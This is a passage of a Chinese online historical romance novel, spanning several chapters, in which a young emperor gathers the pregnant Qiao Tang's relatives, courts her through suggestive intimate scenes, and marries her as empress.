一臣子环顾四周,低低解释,“嗐,倒也正常,陛下马上要有妻有子了,人生正得意时,焉能不喜?” 其余朝臣一想也是,男人嘛,再高高在上,到头来也免不了沉湎俗情,更莫提耽于皇后的陛下了。 镇国公同魏清砚一起出殿,闻得朝臣私语,默不作声,出了宫门,他才看向一脸清冷的魏清砚,“不若你随我去边关?” 魏清砚缓缓摇头,“我要留在朝中。” 镇国公明白了他的念头,摇头劝道,“乔棠为后,虽无像样的母族,但有陛下爱护,想来以后也不会受委屈。” 裴承珏依然摇头,“以后的事,谁也说不准。” 镇国公无法再劝,索性依了他,只求他能好好活着,便是最大的幸事了。 出了皇城,魏清砚并未随镇国公回府,孤身进了一座宅子。 宅子幽静,仆人甚少,只够烧饭清扫卫生的,他进了书房,见柳彰在窗下写文章,冷肃面容未有缓和。 且说柳彰自被魏清砚关进这宅子,是日夜不停地读书写文章,几日下来再健硕的身体也熬瘦了几分。 好在他还有个举人的功底,作出来的文章能得魏清砚认可几分,心里有个盼头,他也顾不上身体了,只废寝忘食地学。 此刻他见魏清砚来了,抬起布满红丝的眸子,“先生请坐。”又垂头作文章。 魏清砚在扶手椅上坐下,接过仆人奉来的茶水,抿了一口,静静地等着。 及至一盏茶喝到底,柳彰的文章也作完了,他放下茶杯,接过柳彰递来的文章,冷脸道,“太慢了。” 柳彰面容平和,虚心受教。 魏清砚觑着他,心底有些满意,若他真能入朝为官,这个沉稳平和不急不躁的性子,加之陛下有意扶他,注定前程似锦。 纸张遮住了魏清砚眼底一闪而过的笑意,棠棠除了他,手里也算有个能用的人了。 忽眼底又生出冷色,有意提及从前,“三年前,你被我赶出冀州,没能与她说句话,心底可还有怨气?” 柳彰抬眸,目光平静,“先生不必试探学生,学生待她是有心思,日后绝不会在人前显露。” “能得先生教导,他日入朝为官,有幸护她一分,已是学生的荣幸了。” 过往嫌隙没必要再提。 乔棠已然做了皇后,柳彰不会在她眼皮下生出事端,不若尽力科举,好作她身后的支撑。 魏清砚冷然,“你便是想撑,也得争得这个机会。” “陛下已派程肃去冀州搜罗她的亲戚,这么多亲戚中总有几个能用的,你且只是其中一个,若中不了进士,于她没得用处,陛下那句逐出京中可不是戏言。” 柳彰俯身拜谢,“谢先生提醒,学生必竭尽全力去做。” 魏清砚点点头,细细地指点了他文章不足之处,看着他拿着文章去修改,心中定了定。 无论如何,他是希望乔棠越来越好的。 乔棠身为皇后,无有一个像样的母族,对她与孩子都无益处。 裴承珏能爱她护她一年,十年,二十年后呢? 无有人能保证日后是什么模样的。 裴承珏才十九岁啊,那么漫长的人生,坐上生杀予夺的皇位上,倘若变心了,也不过是微末一点,落到朝中,不留半点痕迹。 乔棠和孩子到时又该如何? 魏清砚的面容覆上层层寒霜,一个他,一个柳彰,不过微末之力,哪里足够扶起一个母族? 此事只有裴承珏能做到。 好在,裴承珏是愿意的,他的心此刻全然在为乔棠跳动,他叫程肃搜罗乔棠亲戚,程肃必能将有用之人全挖来。 裴承珏要给乔棠扶起一个足以立足于朝堂的母族,一个以乔棠和孩子为中心的母族。 思及至此,魏清砚低眉,半晌笑出了声,惊得柳彰吃惊望来,他却笑着步出房门了。 论及裴承珏待乔棠,远远胜过他,怪不得乔棠不要他了,他活该啊! 这厢裴承珏下了朝,俨然又沉迷在学习敦伦之道中,乔棠也不知,若是知了,定要训斥裴承珏一顿,好叫裴承珏一心理政。 她正在太极宫同王嬷嬷说话,忽闻宫人禀报,说是程肃领着人在正殿求见皇后娘娘。 乔棠心下不安,她听过程肃,裴承珏手下最狠辣的密探,也不知见她为何事。 她带着王嬷嬷去往正殿,甫一进去,两人都惊着了,只见殿中跪着五六个人,有成年的青年,也有少年少女,全都是她在冀州的堂兄弟姐妹。 少年少女们见了她叩首,“草民见过皇后娘娘!” 乔棠猝地去望程肃,程肃垂首道,“回禀皇后娘娘,臣奉陛下之命,前往冀州接皇后娘娘的亲眷,今先送皇后娘娘的堂兄弟姐妹入宫陪伴皇后娘娘。” 冀州路途遥远,程肃带着这些人跑死了几匹马,才将年轻一辈送过来,其余亲戚或是长辈,也只能在帝后大婚后入京了。 自然,经程肃探查,此番入京的都是人品厚道,对乔棠有用之人。 那些在乔棠爹娘去世后,为了霸占乔棠家产的无德亲戚,程肃已教训过了,断不会有入京机会。 程肃退下后,乔棠看着一张张熟悉面容,心下也涌出欢喜,叫他们起了身坐下。 都是自家亲戚,来往多年,也不陌生,这些人拘谨过后很快被乔棠的温言感染,也不再惶恐了。 来京途中,程肃已将乔棠境况讲了,亲眷们听了又惊又喜,这破天富贵砸到头上了。 然进京的亲眷们脑子也是清楚的,这都是乔棠的功劳,进京后自感激乔棠,围着乔棠闲话。 正殿一片笑声中,不知怎么地,乔棠的心欢喜过后,有些空落落的了,手指不停地摩挲着袖子。 王嬷嬷笑了笑,命宫人们带亲眷去歇息,她摸了摸乔棠的脑袋。 “姑娘想见陛下便去罢。” 乔棠讶然,她是想去谢谢裴承珏,迟疑片刻,还是起身去了勤政殿。 快到勤政殿时,心跳倒快了,真是奇怪,要不还是不去了吧。 她犹豫着转身,殊不知李公公眼尖,远远地看见她,赶紧去禀报裴承珏,“陛下,皇后娘娘来了。” 裴承珏收起画册,坦然地放在一堆奏折中,“请皇后进来了。” 李公公冷汗直流,“回陛下,皇后娘娘还、还未到。” “你倒是眼尖。” 裴承珏下了台阶,命侍卫将殿门关了大半,等候乔棠进来。 这厢乔棠犹豫着,又一想,裴承珏思虑周全,将她亲戚都送入京陪她了,她也该谢谢裴承珏,还是去罢。 她迈上台阶,到了殿门前,李公公俯身笑着,“请娘娘进去,陛下在里面等着。” 她有些疑惑,裴承珏知道她要来?她越过半开的殿门进去,还未得及抬头看殿中,整个人被揽进了裴承珏怀里。 砰一声,殿门阖紧,她被压在门上。 很快,她急促的心跳受不住了,摇头躲避亲吻,裴承珏不依不饶,吻得她脑袋晕乎,身子顺着殿门往下滑。 纤细腰肢被双臂稳稳托起,她求助似地搂住裴承珏脖颈,又过一会儿,她已迷迷糊糊,分不清身在何处。 裴承珏这才移开薄唇,小心地询问,“姐姐,朕才学 的,如何?” 乔棠失神地垂颈,若不是裴承珏托着她,她早就软在地上了,耳边听得裴承珏声音,也分辨不出说的什么。 她模模糊糊记得,她是来谢裴承珏的,撑着力气启唇,“谢……谢陛下。” 裴承珏一听,罕见地茫然了一下,姐姐谢他做什么? 吻得再好,都是要做夫妻的人了,会在床笫之间感谢对方技术好么? 胡扯。 原来姐姐心思都没在这上面。 忽殿外传来禀报,“陛下,礼部求见。” 裴承珏抱起乔棠到御椅上坐下,让她缓了一会儿,“姐姐好生坐着。” 步下阶,叫礼部进来,礼部尚书进来行礼,与他禀报后日大婚事宜,他认真听着。 乔棠脑子慢慢清醒了,闻见裴承珏声音,“皇后怀有身孕,不宜劳累,有些礼节删了就是。” 她望了一眼裴承珏挺俊身影,伸手摸了摸腹部,低眉思付,指尖有些打颤。 礼部尚书退下后,裴承珏步上来,见她神思恍惚,以为她还没回过神,立在一侧,抽出册子,神色专注地看着。 乔棠的声音响起,“陛下可怨我先前喝堕胎药的决定?” 册子啪一声阖上,裴承珏定定地望了她片刻,他先前所有的怨愤,都随着乔棠愿意爱他,烟消云散了。 第60章 “姐姐对朕已经很心软了。” 他哪里知晓,乔棠愿意爱他,是乔棠被困在他的爱里挣扎不开,为自救、为救他,选的一条路。 他沉浸在欢愉中不可自拔,觉着乔棠不计较他先前的混账行为,在被他逼迫入宫后,仍愿意爱他,实在是待他过好了。 他情不自禁地抚了抚乔棠的发,指腹传递的爱护疼惜叫乔棠心口“咚咚”乱跳。 乔棠忽想起王嬷嬷说的,“陛下去了慈宁宫,拿起剪子捋着头发就要剪,口中说着娶不到姑娘,就要去做和尚!” 当时乔棠听得呆了,脑中勾勒出裴承珏混账恣意的模样,只觉他还是莽撞胡闹的少年。 此时被裴承珏摸着脑袋,抚着头发,又觉他像个兄长,会沉稳地呵护她。 也许,她该将裴承珏当个成年男人看了,一个能当她夫君的成年男人。 这么一想,她不由瞥向裴承珏,迟钝似地发觉裴承珏的面容已越发坚毅俊美起来。 黑眉峰骨分明,黑眸带着星子,鼻梁也是高挺好看的,薄唇吻她时轻润温热。 巍巍身躯能笼住她整个人,衣物覆盖下肌肉精悍,甚至那处也天赋异禀…… 乔棠面颊“轰”地烧了起来,肤色红得要滴出血来,心底呢喃,天呢,这一年多里,她可真是个瞎子,都看不到裴承珏长成这副模样了! 什么弟弟,自己真是被那一声声姐姐迷惑住了,这分明就是个成年男人啊! 她再也坐不住了,拂开裴承珏的手起了身,动作间袖子扫到册子,册子落地。 她俯身去捡,瞥见册子画面,惊得直起身子,“陛下在理政时间看这种东西!” “姐姐莫气。” 裴承珏以为她是气红了脸,笑着去搂她,见她避开了,又用手掌托起她的面颊。 指腹扫过红透的肌肤,眸光瞥向那册子露出的画面,倏地松了手掌。 “朕即刻烧了。” 他抽出乔棠手中册子,眉眼专注地又瞥几眼,乔棠头皮发麻,他怎么混得这么正经! 乔棠劈手又夺了过去,卷起来塞进袖中,匆匆下阶,身后传来裴承珏的笑声。 “姐姐不准朕看,那姐姐把册子藏在榻里,朕岂不是也要生气,也要夺过来?” 可见他会错意了,乔棠可不会因册子羞成这样,乔棠是因为他啊! 他浑然不知,乔棠回眸瞪他一眼,滴血面颊是前所未有的浓艳,又匆地转身,出殿去了。 他失神一瞬,疾步去追,在乔棠迈出殿门时一把扯住了她的衣袖。 失控的力度拽得乔棠往后仰去,扑入他的怀抱,他一脚踢向殿门。 门外侍卫听命,当即步过来关紧了殿门。 殿中陷入昏暗,唯窗户处射来一缕明亮光线,打在乔棠发烫发红的脸。 这是一张极美的面容。 裴承珏去年瞥了一眼就无比钟情,他叫乔棠姐姐,他喜欢姐姐的秀美温婉,喜欢姐姐的嫣然一笑。 可是这一刻,一切都变了味道。 面上白膩肌肤起了一层薄薄的汗,自额角细细淌下,浸得黛眉纤软,要化在云雾里了。 也湿了轻颤的睫羽,滴在紧闭的眸子上,一珠珠地流到纤巧下巴上。 嫣红唇瓣抿得死死的,不肯泄出一丝声响。 裴承珏直勾勾地望着,指腹碾过水珠,湿淋淋地搔过她的唇瓣。 她的身子忽抖了一下。 裴承珏立马禁锢住她,指腹摁在她绯红靡艳的面颊上,发烫温度烧得他指尖哆嗦。 他张了张口,迟了许久也没发出声音,素日喊惯了的姐姐就这样堵在喉咙里。 喊不出来了。 因为,他觉着不是姐姐了。 他试探地将手掌往下去,掌心滑过乔棠细白的颈子,掠过衣领,隔着衣饰轻轻搔过胸前。 一直往下去。 乔棠抖得更厉害了。 他的面色倏地一变,终于可以确定了,这一刻,乔棠不是姐姐了。 是他喜欢的女人,痴迷的女人,在他的掌下情动了。 这是他从未没见过的风景。 哪怕去年床笫之间,两人那么多的次数,他都没见过。 原来还能这样。 看来乔棠曾经给予他的不过是一点点,这一点点就能这样让他快乐,若是再多些…… 他扬颈呼了口气,喉结在颈间上下滚动,声音沉下来,透着沙哑。 “乔棠,睁眼。” 乔棠眼皮颤着,呼吸急促,浑身被成熟的男性气息包裹,并不想睁眼。 裴承珏手掌一动。 她忽颤声,慌地睁开眸子,一节光线扫亮了他的下颌与薄唇,其余皆隐在昏泛中。 尤其是那双黑眸,静静地逼视过来,带着不容忽视的侵略性,攻击性。 乔棠彻底意识到这是一个不容小觑的男人,不是张口闭口喊姐姐的少年。 殿里起先是寂然的,慢慢地,呼吸急促声大起来,男人的,女人的,交织在一起。 裴承珏猛然间吻住乔棠。 就在不久前,乔棠进殿后已被吻过一次了,那时她还被迫受着,不沾半点欲念。 她还是裴承珏的姐姐。 不到一个时辰,转变就来得这么快,她成了裴承珏的女人。 裴承珏在极短时间里学会了如何催发一个女人的欲念。 乔棠在失控中快沉沦时,霍地回神,惊得一把推开他,匆匆地奔进了暖阁。 裴承珏转瞬跟上,堵在隔断处,绷紧面容,抱臂看去,毫不掩饰朝服下的反应。 这种侵略性的姿势,逼得乔棠步步后退,一下跌坐在椅子上,怔了好一会儿,才赶紧低下头,理好凌乱衣衫。 她抖了抖唇,想起裴承珏那声乔棠,心头滚过无措。 她可以抗拒、冷视、鞭打喊她姐姐的裴承珏,但是叫她乔棠的男人,她看一眼就心间发颤。 或者称之为悸动。 裴承珏显然也意识到了,乔棠喜欢他的成熟气息,他缓步过来,将她封在座椅上,一掌托起她的下巴,察觉她在发颤,又不忍心了。 松了手,他敛去一身攻势,屈膝跪下来,又变成了可以容许乔棠鞭打的裴承珏。 他很喜欢乔棠情动的模样,“姐姐,朕在床上可以那样么?” 他像是猛虎卸去了利爪,温顺地征求乔棠意见。 乔棠望着他发亮的眼神,心脏倏地漏了一拍,想被什么轻轻撞了一下。 半晌,她别过视线,点了点头。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-67 第61章 裴承珏得了首肯,离得更近了,气息又缠过来,房中浮满了无形的情雾。 乔棠额角薄汗尚未干净,又细密地沁出一层,手 指绞紧了衣袖,起伏的胸前是无声的喘动。 一只手掌慢慢地握住了她的脚踝,她忍不住启唇,泄出一丝颤声,竭力想要将脚挣脱出来。 裴承珏牢牢地锢着,浸着欲念的声音低沉,不再可怜,只有索求。 “姐姐不是要爱朕?” 乔棠一下定住,心脏突突地跳,是了,她自己亲口说的,她不能驳回。 额角细汗打湿了睫羽,细密纤长的睫毛湿漉漉的,水渍浸进眸中,视线迷蒙起来。 乔棠扬颈,脱力似地将上身倚向椅背,紧紧闭上眸子,汗珠顺着眼尾淌下,流进发间。 鞋袜褪去了,温热的手掌握住纤足,而后使力一捞,狠狠摁进朝服中。 良久之后。 裴承珏还跪着,低着头,乖顺地握着乔棠的脚,另一手拿手绢擦净了,为她穿好了鞋袜。 乔棠仍在失神中,只觉椅子还在晃动,那脚还在不停地滑过滚烫。 温热指腹拭净了她的额角细汗,她听裴承珏道,“姐姐要去内殿换衣。” 颈间也有薄汗生出,若是这样出去吹了风,势必着凉。 她微微颔首,被裴承珏抱起来去了内殿,甫一进去,她就被满殿的画像惊着了。 原来去年她画的画像都在这里,她还当裴承珏都扔了。 裴承珏坦荡得很,甚至光明正大地从屏风那边拿出乔棠前日不见了的春衣。 春衣已浣洗净了,带着清香,乔棠鼻尖一动,闻出用的是她调过的香,心里一软,抿唇接受了裴承珏荒唐的行为。 换过衣后,她只觉不能再待下去了,狠心拨开了裴承珏伸来的手掌。 “陛下要好好理政!” 裴承珏还欲再说,望着她肃然的容色,话音一转,“姐姐放心,朕可不是那种昏庸之君。” 乔棠放心地出了勤政殿。 她的身影一消失,裴承珏先命宫人将她换下的衣物送去浣洗,过后再送回殿中。 再回暖阁捡了落在地上的册子藏起来,这才顾得上自己,褪下脏了的朝服,换了一身龙袍。 再说乔棠在回去路上,时不时苦恼地咬唇,她似乎出了错觉,总觉贴着脚心的滚烫温度还在。 为此一进太极宫,她也顾不上问询亲眷,先去沐浴换衣,这才将错觉消下去。 再回正殿,听宫人禀报亲眷情况。 今番进京的亲眷中,有三个堂兄堂弟,堂兄已成年,举得举人功名,被程肃手下送到魏清砚那里,和柳彰一起准备参加春闱。 剩余两个堂弟,年纪在十六七岁,读书还未见成果,裴承珏命程肃将他们送进了国子监学习。 眼下还留在太极宫的只有三个堂姐妹,其中两个堂妹年纪在十六七岁,都未成亲,亲昵地围着乔棠说话。 乔棠素来喜欢可爱的妹妹,如静仪郡主、魏若湄,都能得她呵护。 再者两个堂妹生得娇俏,乖巧懂事,口舌伶俐,她就纵容了些。 还有一个堂姐,比她长一岁,已成了婚,育有孩子,闻得乔棠怀孕,更是欢喜,拣些有关孩子的趣话与乔棠讲。 乔棠听得唇角微弯,掌心轻轻地抚过自己的腹部,倏地手指一僵。 不过几日,她的心态已发生变化,不免懊悔地去想,那日怎就那么果决地要打掉孩子呢? “姑娘莫要多想,燕姑娘刚还说给孩子讲故事呢。” 王嬷嬷不忍她顰眉,眼神示意其中一个绿衫姑娘,那绿衫姑娘应了一声,笑得甜甜地凑过来。 这才打散了乔棠的胡思乱想。 及至晚间,裴承珏没有回来,乔棠心里踏实多了,裴承珏恢复以前的勤政是好事,她也不允许自己干扰了裴承珏理政。 乔棠和堂姐妹一起用了晚膳,又在正殿说了些话,要命宫人安排堂姐妹就寝时,忽闻殿外唱声响起,原是裴承珏回来了。 一行人行礼,裴承珏扶起乔棠,埋怨自己疏忽了,“皇后见朕不必行礼。”叫其他人起身散去了。 乔棠正要和裴承珏回勤政殿,忽见王嬷嬷望来,便寻个理由,让裴承珏先回寝殿去了。 她拉着王嬷嬷进了先前住过的寝室,两人坐下来,她疑惑道,“嬷嬷怎么了?” 王嬷嬷还拿她当孩子似的,摸了摸她的脑袋,笑道,“我这老婆子真是糊涂了,刚才才想到,陛下送姑娘亲人进京,叫表少爷堂少爷科举,都是为了叫姑娘安心落根在宫中。” 乔棠默然,忽抿唇一笑,笑声又轻又低,她也是才想到这一点,裴承珏为她思虑太多。 “陛下待姑娘之心,日月可鉴。” 房门紧闭,王嬷嬷依然压低声音,只两人听得到,“只是陛下年轻,血气方刚的,姑娘现在怀有身孕,不便行事。” “燕姑娘眉眼像了姑娘三分,实在不宜留在宫中,不若明日送堂姑娘们出宫吧。” 王嬷嬷一心为了她思虑,咬牙狠心道,“将燕姑娘的婚事拖着,倘若日后姑娘需要燕姑娘进宫,到时——” “嬷嬷不要说了。” 乔棠唇边笑意慢慢散去,抿紧的唇瓣颤开了,“我知道嬷嬷是为了我好。” 她抱着王嬷嬷的腰身,将脑袋枕在王嬷嬷膝盖上,不再言语。 王嬷嬷抚着她的发,知晓了她的意思,心底叹息,姑娘为人良善,心地柔软,跟着姑娘,便是她想做恶人,也没机会做。 “嬷嬷,我已经下定决心了。” 乔棠的指腹擦着王嬷嬷的袖子,眸光果决。 去年秋时,太后有意让她见了陈太妃,陈太妃被先帝所负,已然痴癫。 她那时惶然,生恐被困在宫中,变成陈太妃那个模样,对裴承珏的悸动最终没有抵过惶恐。 可现今她既已下了决心,就不能有所惧怕,她要不带一丝怀疑地去爱裴承珏。 哪怕裴承珏日后变心,哪怕落得个飞蛾扑火的下场,那都是以后的事了。 至少现在,她要信裴承珏。 “嬷嬷且放心,就让堂妹留在宫中,我喜欢和她们说话。” 此时传来敲门声,乔棠知晓是裴承珏来了,从王嬷嬷膝上直起身子,握住王嬷嬷的手安抚她,“嬷嬷去歇息吧。” 王嬷嬷起身去开门,果见裴承珏立在门前,她向裴承珏行礼告退了。 “皇后今夜宿在此处?” 裴承珏迈步进来,见乔棠摇头,眸中才有笑意,坐下来伸手摸向乔棠的腹部。 “朕摸摸孩子。” 乔棠见他容色平静,也无什么异常,心想隔着房门,他应听不到适才那些话,一时没有出声。 寂然中,裴承珏的掌心贴着腹部慢慢滑动,乔棠想着他今日有过一回了,应不会乱来了。 裴承珏果真没有乱来,抱起她要说一起沐浴,她没有拒绝。 没过多久,浴池蒸腾起的雾气中,乔棠后悔莫及。 裴承珏当真血气方刚,且又只有她一人,难免缠着她不放。 “陛下……” 她由着裴承珏沉溺,也不拐弯抹角的,直接问了出来,“我有身孕在身,眼下不便,陛下有无想过要其他……” 颈间轻啄的薄唇一停,随即撤开了,裴承珏推开怀中温香软玉,出了浴池,披着寝衣,竟那样离开了。 乔棠身子倚着池壁,轻薄雾气中,面颊被热气熏得发红,一双眸子迷茫地眨了眨,裴承珏生气了。 大抵是误会她了,毕竟她去年还主动为裴承珏选妃,裴承珏约莫以为她又要这样做了,才一气之下走了。 乔棠无奈,身子浸在温水中,柔顺黑发湿淋淋地披散在纤肩。 她正欲起来,忽见裴承珏又回来了,穿着寝衣步入池中。 她还没开口,裴承珏靠近她后,将剪刀塞到她的手中,声音沉闷,“姐姐觉着他会不忠,索性剪了他,朕不要了。” 好半晌,乔棠才反应过来这个他指的什么,一时又想气,又想笑,唇瓣张合两次,也没吐出一个字,心里直道,裴承珏又发痴了! 之前闹着做和尚便罢了,堂堂一朝天子,闹着要她剪这个,真是脑子坏掉了! 幸亏浴池只二人,倘若宫人也在,被宫人听去了,传出去不叫天下人笑话! “陛下冷静。” 她将剪刀放在壁台上,手掌抚向裴承珏的心脏处,距离心脏不选的那处疤痕还未消干净。 她疼惜地拿指腹扫过,“陛下待我的心意,我已明白了,适才问也只是道出实情, 单凭陛下选择。” “剪刀就是朕的选择。” 裴承珏握住她的手,将她的掌心狠狠摁回心脏处,要她感受着自己蓬勃的心跳。 “姐姐,这世间男子,游街小贩也会薄情寡义,抛妻弃子,人心是脏的,和身份有什么关系?” “难道朕身为天子,就该喜新厌旧,玩弄人心,宫妃成群?” 雾气消融了,两人坦诚相见。 裴承珏真希望他的视线能穿透乔棠那美丽的皮囊,瞧一瞧乔棠的心,看一看里面的自己到底是个什么模样。 乔棠说会爱他,他并不怀疑乔棠的话,他现在怀疑的是—— “姐姐是不是不知道怎么爱朕?” 第62章 话不落地,两人皆有惊色。 裴承珏是惊恼自己贪心不足,欲壑难填,分明姐姐愿意爱他已是天大的幸事了,他不该得寸进尺。 “是朕说错了话,姐姐忘了吧。” 乔棠自是忘不掉,就寝后埋首在裴承珏怀中,如何也睡不着,察觉裴承珏入睡后,她悄悄披衣下床,去了外间。 春夜凉意入侵,她坐在窗下,托腮望着高悬夜幕的明月,脑中闪过裴承珏那声疑惑。 心下迟疑地想,裴承珏说自己不会爱他,也许是自己用错了法子。 裴承珏性情与魏清砚不同,拿待魏清砚的法子对待裴承珏,裴承珏不高兴也属正常。 可裴承珏想要什么样的爱呢? 可叹她分明做好了爱裴承珏的准备,却也只是对裴承珏心有悸动,远没有爱上裴承珏。 她兀自沉思,心神游散,没有发觉裴承珏也过来了,就坐在不远处的扶手椅上,以手支颌,静静地望着她。 静谧空间里,两人几乎在同一时刻,想起去年诸多情事。 又在同一时刻确认一件事—— 乔棠从不吝啬于满足裴承珏,她对裴承珏无意时也很大方。 乔棠将这和爱分得很开。 乔棠知晓,裴承珏也知晓。 乔棠不可抑制地想,裴承珏说得极对,她没有爱上裴承珏,也就不知怎么爱裴承珏。 一瞬里,她怔怔地落下泪,这本是她自救的一条路,也同样可以叫裴承珏快乐。 她低低啜泣起来。 裴承珏听着她的哭声,视线移到了窗外的明月,高高的,悬在天际,皎白月辉洒下来,也不会单独属于他。 他狼狈地阖眼,其实是他活该啊,他不肯放过乔棠,又爱苍黄翻覆,还不懂克制。 要乔棠在身边,要乔棠生孩子,说不要乔棠的爱了,实则巴巴地还在求…… 到底是谁不会爱人? 是乔棠么? 乔棠那么温柔坚韧,已在努力做了。 分明是他啊。 分明是他将乔棠逼到了这种地步。 他懊悔地起身,慢慢地步到乔棠身侧,乔棠闻得动静,侧目望来,眼泪淌了一脸。 裴承珏见过她好多次哭,没有哪一次像现在这样清晰地认知到,他害乔棠伤心。 他的爱裹挟着乔棠,叫乔棠不自由,可这该怎么办呢? 放了乔棠,叫乔棠带着他的孩子离京,从此相隔两地,他连见乔棠一面都不能。 想一想,都要难受死了。 真可恨他长了一颗爱乔棠的心,困住自己,困住乔棠。 四目相对,他动了动唇角,也未能发出一声,只默然地为乔棠擦泪。 大抵眸中痛楚懊悔过于浓重,惊住了乔棠,感染了乔棠,不需要语言,也叫乔棠明白了他的困境。 乔棠软塌塌的心又坚强起来,爱裴承珏这条路走得对,成功了就能解了两人困境,她会努力爱上裴承珏的。 一时间,两人同时开口—— “陛下想要什么样的爱?” “姐姐喜欢什么样的男人?” 声音落入耳中,两人又同时一怔。 因为在发出疑惑的一瞬里,乔棠脑中闪过了陈太妃的那双眼,痴怨的,可也足够深爱的。 难道裴承珏要的是陈太妃这种爱么?想要自己不顾一切、野蛮的、妒烈成性的、占有他? 裴承珏想的则是,难不成姐姐对男人的审美是固定的?只钟情魏清砚那种冷淡的端肃的男人? 可当彼此疑惑一问出来,两人心头猜想都如灰尘般被夜风刮散了。 乔棠面颊泪痕未干,缓缓露出一个笑,起身抱住了裴承珏,心里明白。 裴承珏爱她,是不会让她变成陈太妃那样的,裴承珏是太过渴求她的爱了。 裴承珏一瞬拥紧了她,心道自己想岔了,姐姐能与魏清砚和离,说明姐姐厌弃了魏清砚的性格,怎还会喜欢魏清砚那种男人? 他抱起乔棠坐回椅子中,恨不得将乔棠揉进身体里,“姐姐告诉朕吧,姐姐喜欢什么样的男人?” 他一直不知去年春时,乔棠的心为他急促跳动过,那条腰带也是乔棠在悸动中为他绣的。 事已至此,乔棠不欲遮掩,一五一十道来,裴承珏听得心头一震,原来都是去年他乱发脾气,叫姐姐失望了。 静默一瞬,他松了乔棠,拿了鞭子出来,似乎只有挨打才能缓解他内心的浓重懊悔。 乔棠接了鞭子,轻轻地放到一边,摇头道,“事情既已过去,陛下不必再想,忘了吧。” 她握紧裴承珏的手,微微勾唇,主动吻上裴承珏的唇角,唇齿相依间,泄出一声笑语。 “不如我们从陛下做夫君开始。” 裴承珏眸子泛红,攥紧了她,从椅子到床榻,他吻得乔棠透不过来气。 只要再等一日,他就是姐姐的夫君了。 翌日。 帝后即要大婚,昭告天下,举国同庆。 整个京中陷入欢庆中。 裴承珏又拟旨,大赦天下,这且不罢,他还要休朝十日。 乔棠听罢不许,眼下春闱在即,正是忙时,岂能这样荒废朝务? 裴承珏心底遗憾,面上端肃,“姐姐教训得是,朕合该好好理政,做贤明君主。” “那便休朝五日。” 他听话得很,状似退了一步,乔棠望着他含笑的眉眼,也不好再争,点头应下了。 圣旨一下,朝臣权当过年了,马不停蹄地上折子,情真意切地恭贺帝后大婚。 不知怎都知晓了乔棠劝裴承珏理政之语,朝臣私下闲聊,都道,“皇后淑慎贤良,劝得住陛下,真乃贤后啊!” 不止朝中,京中乃至京外,街头巷尾都是当今皇后贤良之语,不曾听得乔棠半点坏言。 乔棠自此从惑主之人成了天下敬慕的贤后,王嬷嬷与她言时,她自己都惊呆了,她可是什么都没做啊,只劝了裴承珏理政而已。 心头忽地了然,这全天下,除了裴承珏,再无一人,能给她这样一个贤名了。 为她扶起族人,为她博得贤名,她也非草木,不是没有触动的。 及至大婚,穿上婚服,牵着裴承珏的手步入奉天殿,接受朝臣恭贺时,她的心跳得又快又急,脑中只一个念头,跟着裴承珏。 跟着他就好。 将手,将身心,全然交予裴承珏,跟着他,不会有错的。 裴承珏的手心很热,能温暖她颤粟的心脏,也将她送到了高高的 台阶上。 她是裴承珏亲手扶起的皇后,裴承珏给予她俯视朝臣的权力。 她垂眸扫过跪拜的群臣时,甚至末尾那跪拜的亲眷时,几乎一瞬心头剧烈颤动。 在此之前,她从来没有想过,裴承珏执意给她的,除了一腔困住她、叫她无法逃脱的爱,还有这样叫天下人臣服的权力。 她有一瞬的茫然,站得太高了。 甚至,裴承珏将她送到最高处,自己还低了一阶,见她有些无助地望来,才步上来与她并肩,握紧了她的手,给她勇气力量。 朝臣恭贺声骤起,声如惊雷,震动殿宇,响彻云霄。 滚到乔棠耳中,惊得乔棠几乎要阖眸,又觉不够端方典雅,失了皇后仪态,竭力撑着。 被裴承珏握紧的颤抖指尖却泄露了她的情绪。 裴承珏望着她强撑模样,在朝臣齐齐的仰视目光中,侧头笑了一声,“姐姐闭眼。” 乔棠几乎没有任何怀疑,一下闭紧了眸子,紧接着唇上落下一吻。 她愕然地睁眼,怀疑自己感觉错了,反应过来后几乎内心惊叫一声,推开了裴承珏。 这、这种场合! 朝臣也齐刷刷地垂下头颅,心里暗骂,这个年轻的、不知天高地厚的、恣意妄为、不知收敛的君主! 裴承珏挑眉,朗笑一声,真英姿勃发,也真无法无天。 也是,他都敢改祖制,在未及冠时大婚了,还有什么可怕的。 乔棠望着他肆无忌惮的笑,张扬华贵的眉眼,恢复正常的心跳又快了起了。 一副心腔几乎躁动了一个白日。 直到天幕暗下来,宫宴散尽,泼天欢庆消弭于夜中。 她过了一遍仪式礼节,被送入到婚床上歇息,才有机会抚着胸口,低低呢喃一声,可不要再乱跳了。 窗户开了,夜风拂起床边红绸绣帐,吹得喜烛火光摇摇曳曳。 侍奉在侧的宫人举步要去关窗,乔棠抬眉望去,“不必关。” 宫人听令,无人再动,一片寂然中,夜风拂得乔棠心腔松快。 她不免阖上眸子,平静心绪,闻得脚步声匆匆,睁眸去看,却见宫人们退下了。 裴承珏阔步而进,她张口欲言,忽见裴承珏幽深眸子闪过醉意,起身动作一顿。 去年裴承珏醉酒情态闪过脑海,她不可避免地心口一颤,若是裴承珏今夜失控…… 裴承珏越来越近了,她不禁扬颈望去,见他眉眼恣意鲜活热烈,不禁身子后仰。 裴承珏没有给她躲避的机会,俯身就吻了下来,直吻得她微微失神。 可同时,炽热的,浓烈的爱意也叫她心里定下来,纵然裴承珏带着醉意,头脑还是是清醒的。 很快,她就意识到,清醒的裴承珏也不好应付,她被抱进了床中。 明晃晃的烛火下,裴承珏一言不发地抓起乔棠的手摁在自己心脏处。 眸中醉意不知何时散去了,只有浓郁到化不开的爱,叫他痛苦过,也叫乔棠崩溃过。 他执拗到了这一日,他愿意为乔棠献出他的身体,献出他的心脏,献出他的权力。 他静静地望着乔棠,放纵爱意弥漫在帐中,口中是一句不言。 可乔棠躁动了一个白日的心又开始了。 半晌,在急促的心跳声中,乔棠红透了面颊,喃喃骂了一声。 裴承珏是没有动,也没有说话,可炽热视线像是将什么都做了。 她受不了地别过视线,下一刻被裴承珏钳住了下巴,她听到裴承珏悍然的声音。 “叫夫君!” 乔棠怔然,他、他怎么一下变了! 她猛地记起来了,裴承珏温驯地征询过她的,那种成熟男人的掌控欲能否用。 她当时同意了的。 一瞬,乔棠后悔莫及,声音断断续续。 “夫、夫君……” 良久之后,不知何时,烛火灭了,春夜的风声低低响着。 “孩子……” 一掌捂住了她发颤的红唇,裴承珏沉沉一笑。 “夫人顾好自己吧。” 春夜慢慢过去了。 翌日,她幽幽醒来,身侧裴承珏温热的掌心滑过她腹部,“姐姐,我们的孩子很好。” 